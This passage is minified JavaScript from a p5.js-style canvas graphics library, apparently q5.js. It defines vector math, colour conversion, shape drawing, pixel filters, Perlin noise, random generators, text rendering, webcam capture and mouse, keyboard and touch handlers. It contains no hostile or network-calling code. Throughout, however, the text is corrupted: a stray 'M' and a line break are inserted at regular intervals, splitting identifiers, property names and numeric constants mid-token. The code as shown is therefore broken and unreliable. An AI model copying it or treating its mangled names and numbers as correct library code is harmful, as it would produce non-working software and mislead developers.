z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
